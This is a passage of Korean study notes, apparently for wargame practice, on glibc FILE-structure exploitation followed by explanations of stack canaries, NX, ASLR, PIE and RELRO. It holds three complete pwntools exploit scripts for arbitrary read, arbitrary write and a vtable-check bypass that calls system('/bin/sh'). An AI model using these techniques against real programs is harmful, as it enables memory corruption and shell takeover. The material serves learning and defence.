등 파일 포인터 함수들을 설정
- 인자로 받은 파일 구조체(
_IO_FILE
)에서_flags
를 확인하여 쓰기 권한(_IO_CURRENTLY_PUTTING
)이 없다면_IO_write_ptr
,_IO_write_base
,IO_write_end
등의 값을 다른 값으로 치환한다.
- 쓰기 권한이 있다면, 파일 구조체를 인자로
_IO_do_write
->new_do_write
을 호출하고,_flags
에서 append 권한(_IO_IS_APPENDING
) 을 확인한 후_IO_SYSWRITE
을 호출하게 되는데, 이_IO_SYSWRITE
함수가vtable
의_IO_new_file_write
가 가키리는 함수이다. _IO_new_file_write
에 전달되는 파일 구조체를 ‘f’ 라 하면,write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
구문으로 파일에 데이터를 작성한다.
exploit 예시
- 전제조건
- 파일 포인터의 값을 덮어쓸 수 있어야 한다.
- 예제에서는 일부러 파일 포인터의 주소에 read를 하는 구문이 들어있다. (
read(0, fp, 300);
)
- 예제에서는 일부러 파일 포인터의 주소에 read를 하는 구문이 들어있다. (
- 위에서 덮어쓴 파일 포인터를 이용한 파일 쓰기 구문을 수행한다.
- “char[1024] flag_buf” 변수에 데이터가 담겨있다.
- 파일 포인터의 값을 덮어쓸 수 있어야 한다.
- 방법
fwrite
함수를 이용하여 “flag_buf” 에 담긴 데이터를 표준 출력에 출력하도록 한다. (fwrite(data, sizeof(char), sizeof(flag_buf), fp);
)
- 파일 구조체의
_flag
변수에 에 magic number0xfbad0000
와_IO_CURRENTLY_PUTTING
(0x800) 을 세팅하여_IO_new_file_overflow
함수에서 부수적인 작업 없이_IO_do_write
가 호출될 수 있도록 설정한다. - 프로그램 실행 중 원하는 주소의 값을 읽을 수 있도록 파일 구조체의 값을 세팅한다.
_IO_do_write
는 최종적으로write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
형태로 표현된다._IO_write_base
를 추출하려는 데이터가 담긴 버퍼의 주소로 변경한다._IO_write_ptr
를 추출하려는 데이터가 담긴 버퍼의 크기로 변경한다._fileno
를 stdout 을 의미하는 1로 변환한다.
- pwntools 코드 예제
from pwn import * p = process('./iofile_aar') elf = ELF('./iofile_aar') flag_buf = elf.symbols['flag_buf'] # flag 데이터가 담긴 변수 payload = p64(0xfbad0000 | 0x800) # 파일 구조체 _flag 변수 설정 (magic number + _IO_CURRENTLY_PUTTING) payload += p64(0) # _IO_read_ptr, 미사용 payload += p64(flag_buf) # _IO_read_end, 미사용 payload += p64(0) # _IO_read_base, 미사용 payload += p64(flag_buf) # _IO_write_base, flag 데이터가 담긴 변수의 주소 payload += p64(flag_buf + 1024) # _IO_write_ptr, flag 데이터가 담긴 변수의 주소 + 크기 payload += p64(0) # _IO_write_end, 미사용 payload += p64(0) # _IO_buf_base, 미사용 payload += p64(0) # _IO_buf_end, 미사용 payload += p64(0) # _IO_save_base, 미사용 payload += p64(0) # _IO_backup_base, 미사용 payload += p64(0) # _IO_save_end, 미사용 payload += p64(0) # struct _IO_marker, 미사용 payload += p64(0) # struct _IO_FILE, 미사용 payload += p64(1) # _fileno, 파일 디스크립터 값을 stdout 로 설정 p.sendlineafter(b'Data: ', payload) p.interactive()
exploit 예시 2
전제조건
- 파일 포인터의 값을 덮어쓸 수 있어야 한다.
- 덮어쓴 파일 포인터를 이용해 변수의 값을 overwrite 한다.
- 2번을 통해 특정 구문이 실행되도록 if 문의 조건을 조작하면 원하는 결과가 실행되는 형태로 코드가 구성되어 있다.
if (조건문) { 원하는_결과 }
일때, ‘조건문’ 을 강제로 참으로 만들어 ‘원하는_결과’ 가 실행되가 하는 것이 목표
exploit 원리:
- 파일 내용을 읽는 함수(
fread
,fgets
) 들은 내부적으로_IO_file_xsgetn
함수(_IO_xsgetn_t
)를 호출한다. _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
가 호출되면,fp->_IO_buf_end - fp->_IO_buf_base
값이n
보다 큰지 확인하고, 조건을 만족한다면__underflow
->_IO_new_file_underflow
를 호출한다.- (
if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)))
)
- (
_IO_new_file_underflow(FILE *fp)
가 호출되면_flags
변수에 읽기 금지 flag(_IO_NO_READS
)가 포함되어 있는지 확인하고, 포함되어있지 않다면_IO_SYSREAD
를 호출한다.- (
if (fp->_flags & _IO_NO_READS) return EOF;
)
- (
_IO_SYSREAD
함수는 vtable 의_IO_file_read
에 매핑되어 있다._IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
가 호출되면read
시스템 콜을 사용하여__read (fp->_fileno, buf, size))
형태로 읽기를 수행한다.
- 최종적으로 파일 내용을 읽는 함수(
fread
,fgets
등)들은read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base)
형태의 함수가 호출되는 것과 같다.
- 파일 내용을 읽는 함수(
exploit 방법:
- if문의 조건에 해당하는 버퍼(‘overwrite_me’) 의 주소를 알아낸다.
- file 구조체의 값들을 overwrite 하기 위한 payload 를 작성한다.
- file write 구문이 실행되었을 때, 변수에 원하는 값을 입력한다.
전체 코드
#!/usr/bin/env python3 import time from pwn import * p = process('./iofile_aaw') elf = ELF('./iofile_aaw') overwrite_me = elf.symbols['overwrite_me'] # 변수 이름으로 주소 확인 payload = p64(0xfbad0000) # flag 에 _IO_MAGIC 설정. _IO_NO_READS(0x04) 만 포함되지 않으면 됨 payload += p64(0) # _IO_read_ptr, 미사용 payload += p64(0) # _IO_read_end, 미사용 payload += p64(0) # _IO_read_base, 미사용 payload += p64(0) # _IO_write_base, 미사용 payload += p64(0) # _IO_write_ptr, 미사용 payload += p64(0) # _IO_write_end, 미사용 payload += p64(overwrite_me) # _IO_buf_base, overwrite 할 변수의 시작주소 payload += p64(overwrite_me + 1024) # _IO_buf_end, overwrite 할 변수의 시작주소 + 크기 payload += p64(0) # _IO_save_base, 미사용 payload += p64(0) # _IO_backup_base, 미사용 payload += p64(0) # _IO_save_end, 미사용 payload += p64(0) # _markers, 미사용 payload += p64(0) # _chain, 미사용 payload += p64(0) # _fileno, stdin 에 해당하는 '0' 을 대입 p.sendlineafter(b'Data: ', payload) # payload 전송, file 구조체 overwrite time.sleep(10) # fread 작업이 수행될 때 까지 잠시 대기 p.send(p64(0xDEADBEEF) + b'\x00'*1024) # overwrite_me 변수에 채워넣어야 할 값 p.interactive()
exploit 예시 3
file IO 동작시 vtable을 검증하는 과정을 bypass 시켜서 권한을 탈취하는 방법이다.(
bypass IO_validate_vtable
)vtable에 매핑된 file IO 함수를 실행시키면
IO_validate_vtable
함수기 실행되는데,IO_validate_vtable
함수는 인자로 전달받은struct _IO_jump_t
타입(vtable 함수 포인터)의 주소가__start___libc_IO_vtables
~__stop___libc_IO_vtables
위치 사이에 있는지 확인한다. 즉,__libc_IO_vtables
섹션에 할당되는지를 체크하고, 조건을 만족하지 못한다면_IO_vtable_check
에러를 발생시킨다.따라서IO_validate_vtable
검증 함수가 생긴 이후로는 vtable 포인터를 아무 함수로 덮어 써서 공격할 수 없게 되었다.IO_validate_vtable
의 포인터 주소 검사를 우회할 수 있는 함수중 하나는_IO_str_overflow
함수가 있다._IO_str_overflow
함수는 vtable에JUMP_FIELD(_IO_overflow_t, __overflow);
형태로 정의된 함수이기 때문에 주소 검사에서 통과된다._IO_str_overflow
함수 내부에서는new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
구문이 실행되는데,_allocate_buffer
와new_size
를 잘 조작하여system('/bin/bash')
형태로 변경하면 exploit 이 가능하다._s._allocate_buffer
은 vtable 의 첫 8byte에 위치한다 (JUMP_FIELD(size_t, __dummy);
형태). vtable의 첫 8byte에system
함수를 대입시키면 된다.new_size
는2 * (_IO_buf_end - _IO_buf_base) + 100
값이 적용된다 (old_blen = (fp)->_IO_buf_end - (fp)->_IO_buf_base; _IO_size_t new_size = 2 * old_blen + 100;
구문)._IO_buf_end
를 라이브러리의/bin/sh
문자열이 저장된 주소로 치환하고,_IO_buf_base
를 0 으로 덮어쓰면 된다.
전제조건
- 코드에서 std 라이브러리 구성요소의 주소를 확인할 수 있다. (예시에서는 라이브러리 릭 과정을 생략하기 위해 stdout을 미리 출력하도록 세팅되었다.)
- 파일 포인터를 덮어쓸 수 있다.
- fclose 를 호출한다. (fclose 외 다른 파일 구조체 함수도 적용 가능)
exploit 방법
라이브러리 릭을 통해 _IO_jump_t 구조체의 주소를 획득한다. (유출된 stdout 의 주소로 _IO_jump_t 정의 부분 주소를 획득)
fclose
는_IO_FINISH
->_IO_finish_t
순서대로 함수를 호출하는데,_IO_finish_t
은 vtable + 16byte (즉JUMP_FIELD(_IO_finish_t, __finish);
형태로 정의된 함수) 에 위치한 함수를 호출한다. FILE 포인터를 overwrite 할 때 vtable 의 시작 주소를 조작하여_IO_finish_t
의 위치에_IO_str_overflow
함수의 주소가 오도록 설정한다.- 그러면 fclose 호출시
_IO_str_overflow
가 호출되고,s._allocate_buffer) (new_size)
구문이 실행된다. vtable 함수를 그대로 사용하였기 때문에IO_validate_vtable
검사도 통과할 수 있다. _IO_file_jumps
+ 0xC0 에 위치한 구조체는_IO_str_jumps
의 구조체로,_IO_str_jumps
+ 0x18 위치에_IO_str_overflow
가 있다.- 참고:
_IO_file_overflow
와_IO_str_overflow
는 같은 위치를 가리키지만,_IO_file_overflow
로 exploit을 시도하면 실패했다. - gdb 에서
_IO_file_jumps
구조체의 주소를 확인하고, 그 주소에 적힌 값들을 출력해 보면_IO_file_jumps
의 주소가 “0x7ffff7dca2a0” 일 때, “0x7ffff7dca2a0 + 0xC0” 위치의 값들과 형태가 유사한 것을 확인 할 수 있다.
- 참고:
pwndbg> p &_IO_file_jumps $5 = (const struct _IO_jump_t *) 0x7ffff7dca2a0 <_IO_file_jumps> pwndbg> tele (0x7ffff7dca2a0) 00:0000│ 0x7ffff7dca2a0 (_IO_file_jumps) ◂— 0x0 01:0008│ 0x7ffff7dca2a8 (_IO_file_jumps+8) ◂— 0x0 02:0010│ 0x7ffff7dca2b0 (_IO_file_jumps+16) —▸ 0x7ffff7a6e2d0 (_IO_file_finish) ◂— push rbp 03:0018│ 0x7ffff7dca2b8 (_IO_file_jumps+24) —▸ 0x7ffff7a6f2b0 (_IO_file_overflow) ◂— mov ecx, dword ptr [rdi] 04:0020│ 0x7ffff7dca2c0 (_IO_file_jumps+32) —▸ 0x7ffff7a6efd0 (_IO_file_underflow) ◂— mov eax, dword ptr [rdi] 05:0028│ 0x7ffff7dca2c8 (_IO_file_jumps+40) —▸ 0x7ffff7a70370 (_IO_default_uflow) ◂— push rbp 06:0030│ 0x7ffff7dca2d0 (_IO_file_jumps+48) —▸ 0x7ffff7a71c00 (_IO_default_pbackfail) ◂— push r15 07:0038│ 0x7ffff7dca2d8 (_IO_file_jumps+56) —▸ 0x7ffff7a6d8d0 (_IO_file_xsputn) ◂— push r15 pwndbg> tele (0x7ffff7dca2a0+0xc0) 00:0000│ 0x7ffff7dca360 (_IO_str_jumps) ◂— 0x0 01:0008│ 0x7ffff7dca368 (_IO_str_jumps+8) ◂— 0x0 02:0010│ 0x7ffff7dca370 (_IO_str_jumps+16) —▸ 0x7ffff7a722a0 (_IO_str_finish) ◂— push rbx 03:0018│ 0x7ffff7dca378 (_IO_str_jumps+24) —▸ 0x7ffff7a71f10 (_IO_str_overflow) ◂— mov ecx, dword ptr [rdi] 04:0020│ 0x7ffff7dca380 (_IO_str_jumps+32) —▸ 0x7ffff7a71eb0 (_IO_str_underflow) ◂— mov rax, qword ptr [rdi + 0x28] 05:0028│ 0x7ffff7dca388 (_IO_str_jumps+40) —▸ 0x7ffff7a70370 (_IO_default_uflow) ◂— push rbp 06:0030│ 0x7ffff7dca390 (_IO_str_jumps+48) —▸ 0x7ffff7a72280 (_IO_str_pbackfail) ◂— test byte ptr [rdi], 8 07:0038│ 0x7ffff7dca398 (_IO_str_jumps+56) —▸ 0x7ffff7a703d0 (_IO_default_xsputn) ◂— test rdx, rdx # 참고 pwndbg> x/x _IO_file_overflow 0x7ffff7a6f2b0 <_IO_new_file_overflow>: 0xc1f60f8b pwndbg> x/x _IO_str_overflow 0x7ffff7a71f10 <__GI__IO_str_overflow>: 0xc1f60f8b # 주소는 같지만 _IO_file_overflow 으로는 사용 불가
- 그러면 fclose 호출시
_s._allocate_buffer
= system,_IO_buf_end
= (’/bin/sh 의 주소’ - 100) / 2,_IO_buf_base
= 0 이 되도록 vtable을 설정한다.- 프로그램에서 파일 포인터의 주소를 획득하여
_s._allocate_buffer
함수의 주소를 획득한다. - libc 에서 “/bin/sh” 문자열과
system
함수의 주소를 획득한다.
- 프로그램에서 파일 포인터의 주소를 획득하여
전체 코드
#!/usr/bin/env python3 from pwn import * p = process('./bypass_valid_vtable', env={'LD_PRELOAD':'./libc.so.6'}) libc = ELF('./libc.so.6') elf = ELF('./bypass_valid_vtable') p.recvuntil(b'stdout: ') # 필요없는 출력 버리기 leak = int(p.recvuntil(b'\n').strip(b'\n'), 16) # 문제에서 일부러 유출시킨 stdout 의 주소 # [1] _IO_file_jumps 주소 획득 libc_base = leak - libc.symbols['_IO_2_1_stdout_'] # libc_base 주소 획득. stdout 의 주소에서 stdout 의 offset 빼기 io_file_jumps = libc_base + libc.symbols['_IO_file_jumps'] # _IO_jump_t 구조체(vtable)의 주소 획득 # [2-1] _IO_str_overflow 주소 획득, vtable 시작주소 변조 io_str_overflow = io_file_jumps + 0xd8 # _IO_str_overflow 함수의 주소가 저장된 위치의 주소를 획득 fake_vtable = io_str_overflow - 16 # fclose는 vtable + 16byte 에 위치한 함수(_IO_finish_t) 을 실행시킨다. vtable + 16byte 위치에 _IO_str_overflow 함수가 존재하도록 vtable 주소를 역산한다. # [3-1] libc 에서 필요한 요소들 주소 획득, 파일 포인터 'fp' 주소 획득 binsh = libc_base + next(libc.search(b'/bin/sh')) # "/bin/sh" 문자열이 저장된 주소 획득 system = libc_base + libc.symbols['system'] # system 함수의 주소 획득 fp = elf.symbols['fp'] # 디버깅 print(f'io_file_jumps: 0x{io_file_jumps:X}') print(f'io_file_overflow: 0x{io_file_overflow:X}') print(f'io_str_overflow: 0x{io_str_overflow:X}') print(f'fake_vtable: 0x{fake_vtable:X}') # payload 작성 payload = p64(0x0) # flags, 미사용 payload += p64(0x0) # _IO_read_ptr, 미사용 payload += p64(0x0) # _IO_read_end, 미사용 payload += p64(0x0) # _IO_read_base, 미사용 payload += p64(0x0) # _IO_write_base, 미사용 payload += p64(( (binsh - 100) // 2 )) # _IO_write_ptr, [3-2] 2 * (_IO_buf_end - _IO_buf_base) + 100 값이 "/bin/sh" 문자열의 주소를 가키리도록 설정 payload += p64(0x0) # _IO_write_end, 미사용 payload += p64(0x0) # _IO_buf_base, [3-2] 0으로 세팅 payload += p64(( (binsh - 100) // 2 )) # _IO_buf_end payload += p64(0x0) # _IO_save_base, 미사용 payload += p64(0x0) # _IO_backup_base, 미사용 payload += p64(0x0) # _IO_save_end, 미사용 payload += p64(0x0) # _IO_marker, 미사용 payload += p64(0x0) # _IO_chain, 미사용 payload += p64(0x0) # _fileno, _flags2 (int, int), 미사용 payload += p64(0x0) # _old_offset, 미사용 payload += p64(0x0) # _cur_column, _vtable_offset, _shortbuf (short, char, short, + 구조체 최적화용 padding), 미사용 payload += p64(fp + 0x80) # _lock, [3-2] fp 값을 덮어쓴 이후 적당히 오염되어도 되는 자리를 지정 payload += p64(0x0) * 9 # _offset, _codecvt, _wide_data, _freeres_list, _freeres_buf, __pad5, _mode, _unused2 (총 72byte), 미사용 payload += p64(fake_vtable) # io_file_jump overwrite, [2-2] 변조한 vtable 주소 세팅 payload += p64(system) # fp->_s._allocate_buffer, [3-2] _allocate_buffer 함수를 system 함수로 대체 p.sendline(payload) p.interactive()
보호 기법
- 앞서 살펴본 취약점을 방어하기 위한 기법들을 소개한다.
Stack Canary
- 광부들이 탄광에 들어갈 때 카나리아 새를 데리고 들어간다. 카나리아는 인간보다 가스에 민감하여, 유독가스로 인해 위험한 상황이 발생 할 경우 카나리아가 먼저 이를 인지하고 이상 행동을 보이게 된다. 광부들은 카나리아의 행동을 관찰하며 위험한 환경에서 빨리 탈출할 수 있다.
- 탄광의 카나리아 새를 따서 Stack의 overflow를 감지하는 기능도 Stack Canary 라 이름 짓는다.
- 우분투에서 C 파일을 컴파일 할 때 기본적으로 Stack Canary를 적용하며,
-fno-stack-protector
옵션을 넣어 gcc 컴파일을 하면 Stack Canary 설정을 끌 수 있다. - Stack이 오염되면 대부분은
Segmentation Fault
오류를 발생하며 종료된다. - Stack Canary가 설정되어 있으면
stack smashing detected
오류가 대신 발생한다. 이는 Stack의 오염이 감지되어 강제로 프로그램이 종료됨을 의미한다. - Stack Canary의 동작을 어셈블리어로 표현하면 다음과 같다.
mov rax,QWORD PTR fs:0x28 # fs 레지스터의 0x28값을 rax에 대입 mov QWORD PTR [rbp-0x8],rax # 스택 카나리를 rbp-8에 저장 call FUNCTION # 함수 호출 ... mov rcx,QWORD PTR [rbp-0x8] # rbp-8에서 스택 카나리 추출 xor rcx,QWORD PTR fs:0x28 # fs:0x28과 스택 카나리 비교 je 0x6f0 <main+94> # 값이 같으면 다르면 호출부로 이동 call __stack_chk_fail@plt # 값이 다르면 에러 출력
- fs는 세그먼트 레지스터의 일종으로, 리눅스는 부팅시 fs:0x28 위치에 랜덤 생성하여 저장한다.
- X64 아키텍처는 8바이트, X86 아키텍처는 4바이트 카나리를 사용한다.
- stack에 적용될 때 x64 아키텍처는 8바이트, x86 아키텍처는 4바이트 더미값 이후 canary가 들어감에 주의한다.
- 카나리는 NULL 값으로 시작한다.
- 카나리는 TLS에 전역변수로 저장되고, 각 함수들이 이를 공용으로 참조한다.
NX
- No eXecute의 약자로, 실행에 사용되는 메모리 영역과 writing에 사용되는 메모리 영역을 분리하여 악의적으로 buffer에 코드를 심어 실행시키는 행위를 방지하는 기법이다.
- NX 기법은 CPU가 지원해야 동작할 수 있다.
- NX가 적용된 바이너리를 gdb로 디버깅 하여
vmmap
명령으로 각 주소의 권한을 살펴보면Perm
영역이 ‘rw’와 ‘x’ 가 분리된 것이 확인된다. - 실행 권한이 없는 주소를 실행시키려 하면 segment fault 가 발생하며 코드가 종료되게 된다.
- NX기법은 XD(eXecution Disable), DEP(Data Execution Prevention), XN(eXecute Never) 등으로 불리기도 한다.
ASLR
- Address Space Layout Randomization 의 약자로 바이너리가 실행 될 때 마다 매번 다른 주소값에 메모리 세그먼트들을 할당하여 주소의 유출을 방지하는 기법이다.
- 커널에서 ASLR을 지원해야 동작이 가능하다.
- 리눅스에서
cat /proc/sys/kernel/randomize_va_space
명령으로 해당 커널이 ASLR을 지원하는지 확인 가능하다.- 0 : ASLR 미지원
- 1 : stack, heap, library, vdso 등의 주소를 랜덤화
- 2 : (1) 에 더해 brk 영역도 랜덤화
- 리눅스는 ASLR이 적용됐을 때, 페이지(page) 단위로 파일을 매핑하기 때문에 주소값 64비트 중 상위 52비트의 주소는 바뀌어도 하위 12비트는 변경되지 않는다.
- 0x1111111111111222 : 1은 변경될 수 있고, 2는 고정
- 예를들어 라이브러리의 printf의 함수의 주소가 0x12345678이라면, 다음번 실행시에도 마지막 12비트는 678임이 보장된다.
- main 함수의 주소는 여러번 실행해도 변경되지 않는다.
PIE
Position Independent Executable 의 약자이다.
ASLR이 런타임에 생성되는 stack, heap, library 영역의 메모리를 랜덤 매핑하는 기법이었다면, PIE는 code 영역의 메모리를 랜덤하게 매핑하는 보호 기법이다.
리눅스의 ELF는 Executable(실행파일) 파일과 Shared Object(공유파일) 로 양분되는데 Shared Object 는 메모리 상에 어디에 올려놓아도 동작 가능하도록 설계되어 있다.
메모리 위치에 제약을 받지 않는 이러한 성질을 가진 코드를
Position-Independent Code
줄여서PIC
라 부른다.Shared Object 들은 최초 설계 시에 PIC 속성을 갖도록 설계되었고, Executable 파일들은 그렇지 않았다. 실행 파일들도 PIC 속성을 갖게 하려고 Shared Object 형태로 구성하였고, 이를
PIE
(Position-Independent Executable) 라 명명하였다.PIE로 구성된 코드들은 ASLR 이 적용되면 다른 Shared Object 와 마찬가지로 랜덤한 주소에 배치받게 된다.
ASLR에 의해 PIE 코드가 랜덤한 메모리에 적재되면 그 시작 주소를
base code
, 혹은PIE base
라 칭한다.PIE
보호기법이 적용되면code
영역과bss
영역의 메모리는 실행시 마다 랜덤하게 배정된다.
RELRO (RELocation Read-Only)
- 데이터 세그먼트에서 불필요한 쓰기 권한을 제거하여 공격을 방지하는 방법
- Partial RELRO 와 Full RELRO 두 가지 방법이 있다.
- gcc 컴파일 시
-no-pie -fno-pie
옵션을 넣어서 pie를 제거하면 partial RELRO 로 동작한다. -no-pie
는 코드 생성 옵션이고,-fno-pie
는 링킹 과정의 옵션으로 둘 다 설정해야 PIE 없이 바이너리가 생성된다.- 위 두 옵션 없이 gcc 컴파일을 수행하면 Full RELRO가 적용된다.
- gcc 컴파일 시
- Partial RELRO 가 적용된 파일을
objdump -h
명령어로 확인하면 section에.got
와.got.plt
가 확인된다..got
section에는 실행되기 전에 바인딩 되는 전역변수들이 저장되며 쓰기 권한이 없다..got.plt
section에는 실행되는 도중 바인딩 되는 전역변수들이 저장되며 쓰기 권한이 부여된다..got.plt
영역을 덮어쓰는GOT overwrite
공격에 취약하다.
- Full RELRO 가 적용되면 함수들의 주소가 바이너리 로딩 시점에 모두 바인딩 되므로 .got 영역에는 쓰기 권한이 부여되지 않는다.
- 동적 메모리 할당/해제시 동작하는
hook
을 이용한 공격인Hook Overwrite
에 취약하다.
- 동적 메모리 할당/해제시 동작하는
segment 권한 확인 방법
- 특정 프로세스에서
/proc/self/maps
경로의 파일을 출력하도록 코드를 작성한다. - 작성한 코드를 컴파일 하고, 실행 파일을 생성한다.
- 실행 파일을 실행하여
/proc/self/maps
파일 내용을 확인한다.
- 내용 중
파일명
에 해당하는 부분이 메모리 시작주소이다. - ex)
objdump -h /usr/bin/cat
결과이다./usr/bin/cat
의 메모리 시작주소는 0x561210c55000 가 된다.561210c55000-561210c57000 r--p 00000000 08:20 1773 /usr/bin/cat 561210c57000-561210c5c000 r-xp 00002000 08:20 1773 /usr/bin/cat 561210c5c000-561210c5f000 r--p 00007000 08:20 1773 /usr/bin/cat 561210c5f000-561210c60000 r--p 00009000 08:20 1773 /usr/bin/cat 561210c60000-561210c61000 rw-p 0000a000 08:20 1773 /usr/bin/cat 5612123c3000-5612123e4000 rw-p 00000000 00:00 0 [heap] 7f84ddb0a000-7f84ddb2c000 rw-p 00000000 00:00 0 7f84ddb2c000-7f84ddb5e000 r--p 00000000 08:20 25559 /usr/lib/locale/C.UTF-8/LC_CTYPE 7f84ddb5e000-7f84ddb5f000 r--p 00000000 08:20 25620 /usr/lib/locale/C.UTF-8/LC_NUMERIC 7f84ddb5f000-7f84ddb60000 r--p 00000000 08:20 26418 /usr/lib/locale/C.UTF-8/LC_TIME 7f84ddb60000-7f84ddcd3000 r--p 00000000 08:20 25554 /usr/lib/locale/C.UTF-8/LC_COLLATE 7f84ddcd3000-7f84ddcd4000 r--p 00000000 08:20 25593 /usr/lib/locale/C.UTF-8/LC_MONETARY 7f84ddcd4000-7f84ddcd5000 r--p 00000000 08:20 25575 /usr/lib/locale/C.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES 7f84ddcd5000-7f84ddcd6000 r--p 00000000 08:20 26123 /usr/lib/locale/C.UTF-8/LC_PAPER 7f84ddcd6000-7f84ddcd7000 r--p 00000000 08:20 25601 /usr/lib/locale/C.UTF-8/LC_NAME 7f84ddcd7000-7f84ddfbd000 r--p 00000000 08:20 15009 /usr/lib/locale/locale-archive 7f84ddfbd000-7f84ddfdf000 r--p 00000000 08:20 42427 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7f84ddfdf000-7f84de157000 r-xp 00022000 08:20 42427 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7f84de157000-7f84de1a5000 r--p 0019a000 08:20 42427 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7f84de1a5000-7f84de1a9000 r--p 001e7000 08:20 42427 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7f84de1a9000-7f84de1ab000 rw-p 001eb000 08:20 42427 /usr/lib/x86_64-linux-gnu/libc-2.31.so 7f84de1ab000-7f84de1b1000 rw-p 00000000 00:00 0 7f84de1b1000-7f84de1b2000 r--p 00000000 08:20 25549 /usr/lib/locale/C.UTF-8/LC_ADDRESS 7f84de1b2000-7f84de1b3000 r--p 00000000 08:20 26189 /usr/lib/locale/C.UTF-8/LC_TELEPHONE 7f84de1b3000-7f84de1b4000 r--p 00000000 08:20 25574 /usr/lib/locale/C.UTF-8/LC_MEASUREMENT 7f84de1b4000-7f84de1bb000 r--s 00000000 08:20 42694 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache 7f84de1bb000-7f84de1bc000 r--p 00000000 08:20 42407 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7f84de1bc000-7f84de1df000 r-xp 00001000 08:20 42407 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7f84de1df000-7f84de1e7000 r--p 00024000 08:20 42407 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7f84de1e7000-7f84de1e8000 r--p 00000000 08:20 25569 /usr/lib/locale/C.UTF-8/LC_IDENTIFICATION 7f84de1e8000-7f84de1e9000 r--p 0002c000 08:20 42407 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7f84de1e9000-7f84de1ea000 rw-p 0002d000 08:20 42407 /usr/lib/x86_64-linux-gnu/ld-2.31.so 7f84de1ea000-7f84de1eb000 rw-p 00000000 00:00 0 7ffcf0c34000-7ffcf0c55000 rw-p 00000000 00:00 0 [stack] 7ffcf0d14000-7ffcf0d18000 r--p 00000000 00:00 0 [vvar] 7ffcf0d18000-7ffcf0d1a000 r-xp 00000000 00:00 0 [vdso]
- 생성한 실행파일을
objdump -h
명령어를 사용해 section header를 확인한다.
- section header의 VMA에 해당하는 부분이 메모리의 offset이다. (3)에서 찾은 메모리 시작주소에 offset을 더하면 실제 메모리 주소를 확인할 수 있다.
- ex)
.plt
의 메모리 주소는 0x561210c55000 + 0x0000000000002020 =0x561210C57020
가 된다./usr/bin/cat: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 0 .interp 0000001c 0000000000000318 0000000000000318 00000318 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.gnu.property 00000020 0000000000000338 0000000000000338 00000338 2**3 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .note.gnu.build-id 00000024 0000000000000358 0000000000000358 00000358 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 3 .note.ABI-tag 00000020 000000000000037c 000000000000037c 0000037c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .gnu.hash 0000006c 00000000000003a0 00000000000003a0 000003a0 2**3 CONTENTS, ALLOC, LOAD, READONLY, DATA 5 .dynsym 00000690 0000000000000410 0000000000000410 00000410 2**3 CONTENTS, ALLOC, LOAD, READONLY, DATA 6 .dynstr 0000033d 0000000000000aa0 0000000000000aa0 00000aa0 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 7 .gnu.version 0000008c 0000000000000dde 0000000000000dde 00000dde 2**1 CONTENTS, ALLOC, LOAD, READONLY, DATA 8 .gnu.version_r 00000060 0000000000000e70 0000000000000e70 00000e70 2**3 CONTENTS, ALLOC, LOAD, READONLY, DATA 9 .rela.dyn 00000378 0000000000000ed0 0000000000000ed0 00000ed0 2**3 CONTENTS, ALLOC, LOAD, READONLY, DATA 10 .rela.plt 00000498 0000000000001248 0000000000001248 00001248 2**3 CONTENTS, ALLOC, LOAD, READONLY, DATA 11 .init 0000001b 0000000000002000 0000000000002000 00002000 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 12 .plt 00000320 0000000000002020 0000000000002020 00002020 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .plt.got 00000010 0000000000002340 0000000000002340 00002340 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 14 .plt.sec 00000310 0000000000002350 0000000000002350 00002350 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 15 .text 00003dc2 0000000000002660 0000000000002660 00002660 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 16 .fini 0000000d 0000000000006424 0000000000006424 00006424 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 17 .rodata 0000122c 0000000000007000 0000000000007000 00007000 2**5 CONTENTS, ALLOC, LOAD, READONLY, DATA 18 .eh_frame_hdr 000002bc 000000000000822c 000000000000822c 0000822c 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 19 .eh_frame 00000ce8 00000000000084e8 00000000000084e8 000084e8 2**3 CONTENTS, ALLOC, LOAD, READONLY, DATA 20 .init_array 00000008 000000000000aa90 000000000000aa90 00009a90 2**3 CONTENTS, ALLOC, LOAD, DATA 21 .fini_array 00000008 000000000000aa98 000000000000aa98 00009a98 2**3 CONTENTS, ALLOC, LOAD, DATA 22 .data.rel.ro 00000198 000000000000aaa0 000000000000aaa0 00009aa0 2**5 CONTENTS, ALLOC, LOAD, DATA 23 .dynamic 000001f0 000000000000ac38 000000000000ac38 00009c38 2**3 CONTENTS, ALLOC, LOAD, DATA 24 .got 000001c8 000000000000ae28 000000000000ae28 00009e28 2**3 CONTENTS, ALLOC, LOAD, DATA 25 .data 000000c0 000000000000b000 000000000000b000 0000a000 2**5 CONTENTS, ALLOC, LOAD, DATA 26 .bss 00000198 000000000000b0c0 000000000000b0c0 0000a0c0 2**5 ALLOC 27 .gnu_debuglink 00000034 0000000000000000 0000000000000000 0000a0c0 2**2 CONTENTS, READONLY
